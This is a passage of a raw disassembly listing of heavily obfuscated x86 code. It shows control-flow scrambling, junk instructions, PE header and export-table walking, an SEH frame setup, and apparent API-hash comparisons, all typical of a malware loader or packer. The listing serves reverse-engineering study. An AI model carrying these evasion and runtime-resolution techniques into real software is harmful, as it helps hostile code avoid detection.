BYTES ; FUNCTION CHUNK AT 00428551 SIZE 0000000A BYTES xchg edi, [esp+0] pop edi push ebx mov ebx, ebp xchg ebx, [esp+0] mov ebp, esp push ecx mov esp, ebp jmp loc_426019 sub_426671 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42387A loc_426685: ; CODE XREF: sub_42387A:loc_4270DDj ; sub_423444+3CB8j rol ecx, 1Ch add ecx, 0AE37F7A3h xchg ecx, [esp+0] jmp sub_4278DC ; END OF FUNCTION CHUNK FOR sub_42387A ; --------------------------------------------------------------------------- push eax ror eax, 11h mov ds:dword_428B04, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_4266A1: ; CODE XREF: sub_425BD2+1689j jmp nullsub_60 ; --------------------------------------------------------------------------- loc_4266A6: ; CODE XREF: sub_425BD2-1433j jmp nullsub_56 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269BD loc_4266AB: ; CODE XREF: sub_4269BD-289Bj jmp nullsub_21 ; END OF FUNCTION CHUNK FOR sub_4269BD ; --------------------------------------------------------------------------- loc_4266B0: ; CODE XREF: hjohnhn9:00424112j jmp loc_428FDB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4266B5 proc near ; CODE XREF: sub_4262C5j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424913 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425D55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426B04 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428A6C SIZE 00000012 BYTES push ebp mov ebp, esp push esi jmp loc_425D55 sub_4266B5 endp ; --------------------------------------------------------------------------- loc_4266BE: ; CODE XREF: hjohnhn9:00423E5Fj jz sub_4283C9 rol ebp, 1Eh jmp sub_427A58 ; --------------------------------------------------------------------------- loc_4266CC: ; CODE XREF: hjohnhn9:004261A6j inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] cmp byte ptr [eax], 2Eh jnz loc_426F68 mov eax, [ebp-20h] jmp loc_426102 ; --------------------------------------------------------------------------- xor edx, 1B2A15EAh xor edx, edi jmp sub_428DF9 ; --------------------------------------------------------------------------- loc_4266F0: ; DATA XREF: sub_427486:loc_424E94o rol eax, 1Ah push offset sub_424A9D jmp locret_425F6D ; --------------------------------------------------------------------------- add edi, 6AE1C4D4h jmp sub_4238CC ; =============== S U B R O U T I N E ======================================= sub_426708 proc near ; CODE XREF: sub_424161-610p ; sub_4240AE+3602j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247A4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004261BC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00426311 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004264AD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426947 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00426E5A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004283D8 SIZE 00000008 BYTES jnb sub_426604 push ebp mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_4264AD sub_426708 endp ; --------------------------------------------------------------------------- loc_42671A: ; CODE XREF: hjohnhn9:loc_428B6Cj or esi, 0B73C976Fh add esi, 8457B61h mov esi, [esi] xchg esi, [esp] jmp locret_427E75 ; --------------------------------------------------------------------------- jb loc_4287BA jmp loc_42417B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425E94 loc_42673C: ; CODE XREF: sub_425E94+Aj jmp nullsub_110 ; END OF FUNCTION CHUNK FOR sub_425E94 ; =============== S U B R O U T I N E ======================================= sub_426741 proc near ; CODE XREF: sub_42774F+4p mov dword ptr [eax], 0 locret_426747: ; CODE XREF: hjohnhn9:loc_424F1Aj retn sub_426741 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_426749 proc near ; CODE XREF: sub_4284CB+18p ; FUNCTION CHUNK AT 0042373A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004281F8 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00428E46 SIZE 0000001F BYTES push ebp jmp loc_428E46 sub_426749 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42441D loc_42674F: ; CODE XREF: sub_42441D+Dj shl eax, 3 add [ebp-8], eax mov eax, [ebp-8] push offset loc_426AC3 jmp nullsub_18 ; END OF FUNCTION CHUNK FOR sub_42441D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_426762: ; CODE XREF: sub_423CDB:loc_424BB4j mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_4244EE mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] jmp loc_425076 ; END OF FUNCTION CHUNK FOR sub_423CDB ; =============== S U B R O U T I N E ======================================= sub_42677F proc near ; CODE XREF: sub_424A28:loc_427ACFj ; sub_424A28+4492j var_14 = dword ptr -14h var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00423C56 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427F33 SIZE 00000007 BYTES push ebp push ebp mov ebp, esi xchg ebp, [esp+8+var_8] push edi push ebx push edx jmp loc_423C56 sub_42677F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427994 loc_42678E: ; CODE XREF: sub_427994-3F94j mov eax, [eax] cmp dword ptr [eax], 4550h loc_426796: ; CODE XREF: hjohnhn9:loc_426632j jnz loc_42476D jmp loc_427904 ; END OF FUNCTION CHUNK FOR sub_427994 ; --------------------------------------------------------------------------- jnb loc_427F49 jmp loc_427790 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_4267AC: ; CODE XREF: sub_425CB3:loc_427B97j add ecx, 5089408Eh xor ecx, 3DE8ABC3h xchg ecx, [esp+0Ch+var_C] push eax lea eax, sub_428F4A push eax push 0 push 0 jmp loc_427860 ; END OF FUNCTION CHUNK FOR sub_425CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_4267CC: ; CODE XREF: sub_42851A+446j pop ecx mov eax, ds:dword_428384 or eax, eax jnz loc_423692 jmp loc_4269E6 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_4267E0: ; CODE XREF: sub_428477+4j cmp ds:dword_423954, 0 call sub_424631 loc_4267EC: ; CODE XREF: hjohnhn9:00426383j jmp loc_42395D ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_4267F1: ; CODE XREF: sub_423CDB+10j jz loc_4244EE call nullsub_2 loc_4267FC: ; CODE XREF: sub_423B05+15Cj ; sub_425029:loc_4270BBj ... jo loc_426268 xor eax, eax call sub_4250C3 loc_426809: ; CODE XREF: sub_4264CF+ED3j jmp loc_426B1F ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_42680E: ; CODE XREF: sub_4237F4+45E7j rol eax, 12h push edi mov edi, eax xchg edi, [esp+0] call sub_4244F5 retn ; END OF FUNCTION CHUNK FOR sub_4237F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_42681D: ; CODE XREF: sub_427D6A-2C33j ; sub_4244F5:loc_425E44j ... push offset loc_424DD7 jmp nullsub_19 ; END OF FUNCTION CHUNK FOR sub_4244F5 ; =============== S U B R O U T I N E ======================================= sub_426827 proc near ; DATA XREF: sub_425BD2-1438o dec dword ptr [ebp-10h] inc dword ptr [ebp-4] call sub_426C09 locret_426832: ; CODE XREF: sub_4279C8:loc_429013j retn sub_426827 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_426833: ; CODE XREF: sub_42304F+40C5j jmp loc_4243F2 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- shr eax, 17h jmp loc_4278B7 ; --------------------------------------------------------------------------- sbb edi, ebx jmp sub_426BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427032 loc_426847: ; CODE XREF: sub_427032:loc_427E4Fj call sub_426859 jnz loc_425B24 loc_426852: ; CODE XREF: sub_426E8C:loc_42804Bj mov eax, ebx jmp loc_425B26 ; END OF FUNCTION CHUNK FOR sub_427032 ; =============== S U B R O U T I N E ======================================= sub_426859 proc near ; CODE XREF: sub_426E8C-25ABp ; sub_427032:loc_426847p ... ; FUNCTION CHUNK AT 0042898F SIZE 00000005 BYTES mov eax, [ebx+ecx] xor eax, [ebx+ecx+4] cmp eax, 7C61090Eh jmp loc_42898F sub_426859 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4275A3 loc_42686B: ; CODE XREF: sub_4275A3+Aj jmp loc_426134 ; END OF FUNCTION CHUNK FOR sub_4275A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_426870: ; CODE XREF: sub_427C9B-2D1Bj jmp nullsub_116 ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_426875: ; CODE XREF: sub_424819:loc_426B97j jnz loc_428ED0 loc_42687B: ; CODE XREF: sub_428436+5j jmp nullsub_49 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- jns loc_428626 ror edx, 8 loc_426889: ; CODE XREF: hjohnhn9:004281DFj jmp loc_428ED0 ; --------------------------------------------------------------------------- loc_42688E: ; CODE XREF: hjohnhn9:loc_4249BAj mov edx, [ebp+8] or [edx-8], eax ; START OF FUNCTION CHUNK FOR sub_424631 loc_426894: ; CODE XREF: sub_428C4E:loc_425EA4j ; sub_426604:loc_428C3Fj ... jo loc_4233F8 cmp dword ptr [ebp-14h], 4 jnz loc_424F28 loc_4268A4: ; CODE XREF: hjohnhn9:00424461j mov eax, [ebp+8] jmp loc_4243ED ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- sbb esi, eax jmp sub_4264FA ; --------------------------------------------------------------------------- loc_4268B3: ; CODE XREF: hjohnhn9:00424FFBj jb loc_424DC6 inc ds:dword_4233C4 lea eax, nullsub_118 mov byte ptr [eax], 0C3h push edx push 0E3CA6C32h jmp loc_427B88 ; --------------------------------------------------------------------------- loc_4268D3: ; DATA XREF: sub_424D38+3D79o test al, al jnz loc_427BB5 ; START OF FUNCTION CHUNK FOR sub_4250FC loc_4268DB: ; CODE XREF: sub_4250FC+4j ; sub_4287BF:loc_427234j ... call sub_4248F9 loc_4268E0: ; CODE XREF: hjohnhn9:004232FDj jmp loc_423361 ; END OF FUNCTION CHUNK FOR sub_4250FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_4268E5: ; CODE XREF: sub_4231AD:loc_426A62j cmp al, 0C2h jz loc_427555 mov eax, [ebp-4] mov ax, [eax] jmp loc_424CEC ; END OF FUNCTION CHUNK FOR sub_4231AD ; --------------------------------------------------------------------------- loc_4268F8: ; CODE XREF: hjohnhn9:loc_42823Aj and edx, 0B238D165h or edx, 0F450CED8h add edx, 0BF17789h xchg edx, [esp] jmp loc_425E3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250FC loc_426912: ; CODE XREF: sub_4250FC:loc_4234A7j add eax, [esp-4+arg_0] adc edx, [esp-4+arg_4] add esp, 8 mov [ebp-4], eax jmp loc_424D4A ; END OF FUNCTION CHUNK FOR sub_4250FC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426924 proc near ; CODE XREF: sub_4287BF-1576p ; sub_4287BF-13Bp var_28 = dword ptr -28h var_20 = dword ptr -20h ; FUNCTION CHUNK AT 004233D3 SIZE 0000000E BYTES push ebp mov ebp, esp add esp, 0FFFFFFD8h jmp loc_4233D3 sub_426924 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_42692F: ; CODE XREF: sub_424631+C1Cj or dword ptr [eax-8], 8 jmp loc_427D89 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_426938: ; CODE XREF: sub_424B4Aj ; sub_426354-17F0j cmp dword ptr [ebp-1Ch], 67h push offset sub_427805 jmp nullsub_20 ; END OF FUNCTION CHUNK FOR sub_426354 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_426947: ; CODE XREF: sub_426708-3F1j not ebp or eax, 0F0CF36D1h mov ebx, 6289DE42h and ecx, edx or eax, 4E2FC016h jmp loc_4247A4 ; END OF FUNCTION CHUNK FOR sub_426708 ; =============== S U B R O U T I N E ======================================= sub_426961 proc near ; CODE XREF: sub_428CC9-3137p ; hjohnhn9:004265E3j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042784B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004278A0 SIZE 00000017 BYTES xchg ecx, [esp+0] pop ecx push eax push 0F195E43Ah xchg ebx, [esp+4+var_4] mov eax, ebx pop ebx or eax, 4EBD3638h jmp loc_42784B sub_426961 endp ; --------------------------------------------------------------------------- loc_42697C: ; CODE XREF: hjohnhn9:00428A56j xchg edx, [esp] jmp nullsub_1 ; --------------------------------------------------------------------------- test edi, 2A51C452h jmp loc_426C41 ; =============== S U B R O U T I N E ======================================= sub_42698F proc near ; CODE XREF: sub_423CCD+3520p ; hjohnhn9:004274C5j ; FUNCTION CHUNK AT 00426E55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042726B SIZE 00000002 BYTES xchg edx, [esp+0] loc_426992: ; CODE XREF: hjohnhn9:0042386Fj pop edx inc dword ptr [ebp-8] loc_426996: ; CODE XREF: hjohnhn9:00423B67j ; sub_423CCD+35B6j mov eax, [ebp-8] pop ecx pop ecx jmp loc_426E55 sub_42698F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_4269A0: ; CODE XREF: sub_42325E-7Ej ; sub_42325E+42DEj and ebx, 19C6FA51h rol ebx, 14h add ebx, 8030F40Bh xchg ebx, [esp+18h+var_18] jmp sub_4279ED ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- loc_4269B7: ; CODE XREF: hjohnhn9:00428801j jns loc_4286A7 ; =============== S U B R O U T I N E ======================================= sub_4269BD proc near ; CODE XREF: sub_426924-3548p ; FUNCTION CHUNK AT 00424117 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004266AB SIZE 00000005 BYTES xchg esi, [esp+0] pop esi mov dword ptr [ebp-14h], 4 mov eax, [ebp-14h] mov [ebp-4], eax mov eax, [ebp-14h] mov [ebp-0Ch], eax jmp loc_424117 sub_4269BD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4269D9: ; CODE XREF: hjohnhn9:loc_4282C9j jg near ptr dword_4236FC+35h cmp ebp, esi jmp loc_423977 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_4269E6: ; CODE XREF: sub_42851A-1D3Fj jz loc_424E76 jmp loc_429107 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- cmp eax, 22C84A22h jmp loc_424EC3 ; --------------------------------------------------------------------------- add ebp, ecx jmp sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_426A03: ; CODE XREF: sub_424819:loc_425F9Ej jz loc_426491 loc_426A09: ; CODE XREF: hjohnhn9:00426EBFj jmp loc_427B0E ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_426A0E: ; CODE XREF: sub_426F5A-3A5j jmp loc_42513C ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- pushf or ecx, 0C756CE28h mov eax, ebx jmp loc_428AD2 ; --------------------------------------------------------------------------- ror edx, 14h jmp sub_425E94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B19 loc_426A29: ; CODE XREF: sub_425B19+16j pop ebx retn ; END OF FUNCTION CHUNK FOR sub_425B19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4285DF loc_426A2B: ; CODE XREF: sub_4285DF+7j jmp nullsub_76 ; END OF FUNCTION CHUNK FOR sub_4285DF ; =============== S U B R O U T I N E ======================================= sub_426A30 proc near ; CODE XREF: sub_425B19+2p ; FUNCTION CHUNK AT 00423126 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042328D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004247B9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004248F1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00426BBA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00426FF4 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00427179 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00427BB3 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004288AD SIZE 0000001C BYTES push large dword ptr fs:0 mov large fs:0, esp call sub_427032 call sub_42873F mov edx, [ebx+3Ch] mov edx, [ebx+edx+80h] jmp loc_427179 sub_426A30 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D64 loc_426A58: ; CODE XREF: sub_428D64+Aj jmp loc_428D33 ; END OF FUNCTION CHUNK FOR sub_428D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282F8 loc_426A5D: ; CODE XREF: sub_4282F8-272Bj jmp nullsub_51 ; END OF FUNCTION CHUNK FOR sub_4282F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_426A62: ; CODE XREF: sub_4231AD+11j jmp loc_4268E5 ; END OF FUNCTION CHUNK FOR sub_4231AD ; --------------------------------------------------------------------------- rol edi, 0Dh push ebp jmp sub_423F77 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xchg edx, esi jmp loc_428655 ; =============== S U B R O U T I N E ======================================= sub_426A78 proc near ; CODE XREF: sub_4279C0-2FEEp ; hjohnhn9:00426F30j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423217 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004233C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042377B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00423D47 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004250D5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004250EF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00425187 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425F15 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00426573 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00427436 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004276FC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004279B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427B1B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00428510 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428994 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428EDE SIZE 00000007 BYTES xchg edi, [esp+0] pop edi mov esp, ebp pop ebp jmp loc_4279B6 sub_426A78 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_426A84: ; CODE XREF: sub_423BC3-4FBj add ebx, 0F684B8BAh loc_426A8A: ; CODE XREF: sub_4251EB-1F19j cmp ebp, ecx jmp loc_427825 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428DDB loc_426A92: ; CODE XREF: sub_428DDB+Ej jmp locret_428EC4 ; END OF FUNCTION CHUNK FOR sub_428DDB ; --------------------------------------------------------------------------- loc_426A97: ; DATA XREF: sub_426F85+11D3o inc eax mov [ebp-1Ch], eax mov dword ptr [ebp-18h], 0 ; START OF FUNCTION CHUNK FOR sub_427852 loc_426AA2: ; CODE XREF: sub_427852+733j mov eax, [ebp-4] mov edx, [ebp-14h] jmp loc_428F16 ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- loc_426AAD: ; DATA XREF: sub_424771+1o call sub_428F0B push eax push eax call sub_428E01 call sub_4265CD jmp loc_424723 ; --------------------------------------------------------------------------- loc_426AC3: ; DATA XREF: sub_42441D+233Bo shr eax, 0Bh xor [ebp-8], eax mov eax, [ebp-8] jmp loc_4240C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_426AD1: ; CODE XREF: sub_425029:loc_425040j mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 loc_426AD7: ; CODE XREF: sub_427C9B-21A5j jnz loc_423031 mov eax, [ebp-8] shl eax, 3 jmp loc_42737B ; END OF FUNCTION CHUNK FOR sub_425029 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_426AE9: ; CODE XREF: sub_42304F+437Cj jmp loc_426C4F ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ror ebp, 18h jmp sub_428271 ; =============== S U B R O U T I N E ======================================= sub_426AF6 proc near ; CODE XREF: hjohnhn9:004289D6p ; hjohnhn9:00428EFDj xchg edx, [esp+0] pop edx ror eax, 7 mov ds:dword_4233A0, eax retn sub_426AF6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B5 loc_426B04: ; CODE XREF: sub_4266B5+23C4j jmp loc_424913 ; END OF FUNCTION CHUNK FOR sub_4266B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427810 loc_426B09: ; CODE XREF: sub_427810+10j jmp loc_4273B2 ; END OF FUNCTION CHUNK FOR sub_427810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F77 loc_426B0E: ; CODE XREF: sub_423F77+9j jmp loc_423F91 ; END OF FUNCTION CHUNK FOR sub_423F77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_426B13: ; CODE XREF: sub_423CDB:loc_42886Cj jz loc_427B9C jmp loc_427449 ; END OF FUNCTION CHUNK FOR sub_423CDB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_426B1F: ; CODE XREF: sub_423CDB:loc_426809j pop ecx pop ecx loc_426B21: ; CODE XREF: sub_424361:loc_42702Dj pop ebp retn ; END OF FUNCTION CHUNK FOR sub_423CDB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_426B24: ; CODE XREF: sub_4237F4+6j jmp loc_427DD2 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; =============== S U B R O U T I N E ======================================= sub_426B29 proc near ; CODE XREF: sub_4264CF:loc_427392p ; sub_427032:loc_427E45p ; FUNCTION CHUNK AT 00425284 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00427D8E SIZE 0000000F BYTES push ebp jmp loc_425284 sub_426B29 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_426B2F: ; CODE XREF: sub_4237F4+45EDj jz loc_4243D9 jmp loc_423963 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; --------------------------------------------------------------------------- loc_426B3A: ; CODE XREF: hjohnhn9:004239B3j ; hjohnhn9:004239CBj cmp dword ptr [ebp-8], 0A22F8A70h jz loc_4244EE mov eax, [ebp-0Ch] call sub_4244F5 jmp loc_426184 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_426B55: ; CODE XREF: sub_42345B+CF3j jmp nullsub_2 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B7A loc_426B5A: ; CODE XREF: sub_427B7A:loc_427A79j add dword ptr [ebp-8], 4 jmp loc_42856C ; END OF FUNCTION CHUNK FOR sub_427B7A ; --------------------------------------------------------------------------- loc_426B63: ; CODE XREF: hjohnhn9:loc_426597j ; hjohnhn9:00427A73j call sub_426BD2 ; START OF FUNCTION CHUNK FOR sub_4265CD loc_426B68: ; CODE XREF: sub_4265CD-217Ej jmp loc_427FAF ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- and ebx, edx mov ebp, 571DCF8Eh jmp sub_423CDB ; --------------------------------------------------------------------------- and eax, ebp jmp sub_428249 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_426B80: ; CODE XREF: sub_428271+9j shl eax, 2 cdq js loc_424073 add eax, [esp+0] call sub_427852 loc_426B92: ; CODE XREF: sub_424A55+246j jmp loc_4286E6 ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_426B97: ; CODE XREF: sub_424819-C11j jmp loc_426875 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- loc_426B9C: ; CODE XREF: hjohnhn9:00426F6Bj ; hjohnhn9:loc_427F49j mov eax, [ebp-1Ch] cmp byte ptr [eax], 0 jnz loc_42619C ; START OF FUNCTION CHUNK FOR sub_426F5A loc_426BA8: ; CODE XREF: sub_426F5A:loc_425D65j call sub_427E85 loc_426BAD: ; DATA XREF: sub_426CE6+16FCo or eax, eax jnz loc_426FC7 jmp loc_426A0E ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_426BBA: ; CODE XREF: sub_426A30:loc_423126j mov ecx, [ebx+ecx+78h] or ecx, ecx call sub_426E8C loc_426BC5: ; CODE XREF: sub_42790F+Dj jmp nullsub_25 ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- mov ebp, edx pushf jmp sub_424946 ; =============== S U B R O U T I N E ======================================= sub_426BD2 proc near ; CODE XREF: hjohnhn9:00426842j ; hjohnhn9:loc_426B63p ; FUNCTION CHUNK AT 004235C0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427A69 SIZE 00000003 BYTES xchg eax, [esp+0] pop eax add dword ptr [ebp-8], 2 jmp loc_4235C0 sub_426BD2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_426BDF: ; CODE XREF: sub_424A78:loc_424C0Cj ; sub_424A78+1B0j test byte ptr [ebp-8], 20h jz loc_428B8A push ebp loc_426BEA: ; CODE XREF: hjohnhn9:loc_42822Cj mov eax, [ebp-20h] call sub_4282F8 jmp loc_4248CB ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- loc_426BF7: ; CODE XREF: hjohnhn9:004237E4j sbb esi, 0A2FC903Eh ; =============== S U B R O U T I N E ======================================= sub_426BFD proc near ; CODE XREF: hjohnhn9:0042861Cp xchg esi, [esp+0] pop esi push edx mov edx, esi call sub_424928 sub_426BFD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426C09 proc near ; CODE XREF: sub_426827+6p ; hjohnhn9:004276E6j ; FUNCTION CHUNK AT 0042361F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424891 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425E6E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042654D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00428F8E SIZE 00000011 BYTES xchg ecx, [esp+0] pop ecx cmp dword ptr [ebp-10h], 0 jge loc_424788 jmp loc_424891 sub_426C09 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426C1C proc near ; CODE XREF: hjohnhn9:00424B85j ; sub_424161+3A88p xchg ebx, [esp+0] pop ebx call sub_423CCD pop ecx mov [ebp-20h], eax jmp loc_423C90 sub_426C1C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B6C loc_426C2E: ; CODE XREF: sub_423B6C+6j mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_8], eax push offset loc_4235B0 loc_426C3C: ; 